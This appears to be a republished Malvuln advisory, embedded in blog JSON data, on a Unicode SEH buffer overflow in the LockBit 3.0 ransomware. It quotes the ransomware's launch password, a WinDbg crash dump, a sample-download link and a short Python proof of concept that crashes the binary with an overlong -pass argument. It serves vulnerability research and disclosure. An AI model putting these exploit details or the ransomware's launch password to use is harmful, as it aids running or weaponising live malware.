Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
\nOriginal source: https:\/\/malvuln.com\/advisory\/38745539b71cf201bb502437f891d799.txt
\nContact: malvuln13@gmail.com
\nMedia: twitter.com\/malvuln<\/p>\n
Threat: Ransom Lockbit 3.0
\nVulnerability: Local Unicode Buffer Overflow (SEH)
\nDescription: The ransomware apparently now requires a password to execute as noted by “@vxunderground” E.g. “-pass db66023ab2abcb9957fb01ed50cdfa6a”, but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH).
\nFamily: Lockbit
\nType: PE32
\nMD5: 38745539b71cf201bb502437f891d799
\nVuln ID: MVID-2022-0620
\nASLR: False
\nDEP: True
\nCFG: False
\nSafe SEH: False
\nDisclosure: 07\/03\/2022<\/p>\n
Memory Dump:
\n(b4.1c38): Access violation – code c0000005 (first\/second chance not available)
\neax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000
\neip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc
\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
\na291273d ?? ???<\/p>\n
0:000> .ecxr
\neax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000
\neip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc
\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
\na291273d ?? ???<\/p>\n
0:000> !analyze -v
\n*******************************************************************************
\n* *
\n* Exception Analysis *
\n* *
\n*******************************************************************************<\/p>\n
Failed calling InternetOpenUrl, GLE=12029<\/p>\n
FAULTING_IP:
\nLockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+1b21e
\n0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]\n
EXCEPTION_RECORD: 0019f688 — (.exr 0x19f688)
\nExceptionAddress: 0041b21e (LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x0001b21e)
\nExceptionCode: c0000005 (Access violation)
\nExceptionFlags: 00000000
\nNumberParameters: 2
\nParameter[0]: 00000001
\nParameter[1]: 001a0000
\nAttempt to write to address 001a0000<\/p>\n
PROCESS_NAME: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe<\/p>\n
ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<\/p>\n
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<\/p>\n
EXCEPTION_PARAMETER1: 00000008<\/p>\n
EXCEPTION_PARAMETER2: a291273d<\/p>\n
WRITE_ADDRESS: a291273d<\/p>\n
FOLLOWUP_IP:
\n+1b21e
\na291273d ?? ???<\/p>\n
FAILED_INSTRUCTION_ADDRESS:
\n+1b21e
\na291273d ?? ???<\/p>\n
MOD_LIST: <ANALYSIS\/><\/p>\n
NTGLOBALFLAG: 0<\/p>\n
APPLICATION_VERIFIER_FLAGS: 0<\/p>\n
IP_ON_HEAP: a291273d
\nThe fault address in not in any loaded module, please check your build’s rebase
\nlog at <releasedir>\\bin\\build_logs\\timebuild\\ntrebase.log for module which may
\ncontain the address if it were loaded.<\/p>\n
CONTEXT: 0019f6d8 — (.cxr 0x19f6d8)
\neax=00000020 ebx=0019fc00 ecx=0000004a edx=0000029a esi=025724f4 edi=001a0000
\neip=0041b21e esp=0019fb38 ebp=0019fb48 iopl=0 nv up ei pl zr na pe nc
\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
\nLockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x1b21e:
\n0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]\nResetting default scope<\/p>\n
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]\n
LAST_CONTROL_TRANSFER: from 0041b26a to 0041b21e<\/p>\n
FAULTING_THREAD: ffffffff<\/p>\n
DEFAULT_BUCKET_ID: STACKIMMUNE<\/p>\n
PRIMARY_PROBLEM_CLASS: STACKIMMUNE<\/p>\n
BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041<\/p>\n
STACK_TEXT:
\n00000000 00000000 lockbit3+0x0<\/p>\n
STACK_COMMAND: .cxr 000000000019F6D8 ; kb ; ** Pseudo Context ** ; kb<\/p>\n
SYMBOL_NAME: lockbit3<\/p>\n
FOLLOWUP_NAME: MachineOwner<\/p>\n
MODULE_NAME: lockbit3<\/p>\n
IMAGE_NAME: lockbit3<\/p>\n
DEBUG_FLR_IMAGE_TIMESTAMP: 0<\/p>\n
FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_lockbit3!Unloaded<\/p>\n
BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041_BAD_IP_lockbit3<\/p>\n
Followup: MachineOwner
\n———<\/p>\n
0:000> !exchain
\n0019f59c: ntdll!ExecuteHandler2+44 (77729d70)
\n0019ffcc: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+10041 (00410041)
\nInvalid exception stack at 00410041<\/p>\n
Exploit\/PoC:
\nfrom subprocess import Popen<\/p>\n
#Discovery\/Credits: malvuln
\n#Vulnerability: Unicode Buffer Overflow (SEH)
\n#Disclosure: 07\/03\/2022
\n#Hash: 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce
\n#MD5: 38745539b71cf201bb502437f891d799
\n#================================================================================================
\n#
\n#Apparently Lockbit 3.0 – Lockbit Black (aka LockShit), now requires a password to execute E.g.
\n#
\n#vx-underground commented on 2022-07-03 18:55:48 UTC
\n#
\n#{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe -k LocalServiceNetworkRestricted -pass db66023ab2abcb9957fb01ed50cdfa6a
\n#
\n#https:\/\/bazaar.abuse.ch\/sample\/80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce\/
\n#===============================================================================================
\n#
\n#Supplying a long payload of characters for the -pass or -k switches triggers a Buffer Overflow.
\n#===============================================================================================<\/p>\n
TARGET=”LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe”
\nBANNER=”””
\n__ __ _____ __ _ __
\n\/ \/ ____ _____\/ \/__\/ ___\/\/ \/_ (_) \/_
\n\/ \/ \/ __ \\\/ ___\/ \/\/_\/\\__ \\\/ __ \\\/ \/ __\/
\n\/ \/___\/ \/_\/ \/ \/__\/ ,< ___\/ \/ \/ \/ \/ \/ \/_
\n\/_____\/\\____\/\\___\/_\/|_|\/____\/_\/ \/_\/_\/\\__\/ 3.0<\/p>\n
Unicode Buffer Overflow
\nBy malvuln
\n“””<\/p>\n
PAYLOAD=”A”*666<\/p>\n
def doit():
\nPopen([TARGET, “-pass”, PAYLOAD], shell=True)<\/p>\n
if __name__==”__main__”:
\nprint(BANNER)
\ndoit()<\/p>\n
Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"
Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https:\/\/malvuln.com\/advisory\/38745539b71cf201bb502437f891d799.txt Contact: malvuln13@gmail.com Media: twitter.com\/malvuln Threat: Ransom Lockbit 3.0 Vulnerability: Local Unicode Buffer Overflow (SEH) Description: The ransomware apparently now requires a password to execute as noted by “@vxunderground” E.g. “-pass db66023ab2abcb9957fb01ed50cdfa6a”, but doesnt properly check bounds for both the -pass and -k …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26533","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26533","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26533"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26533\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26533"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26533"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26533"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}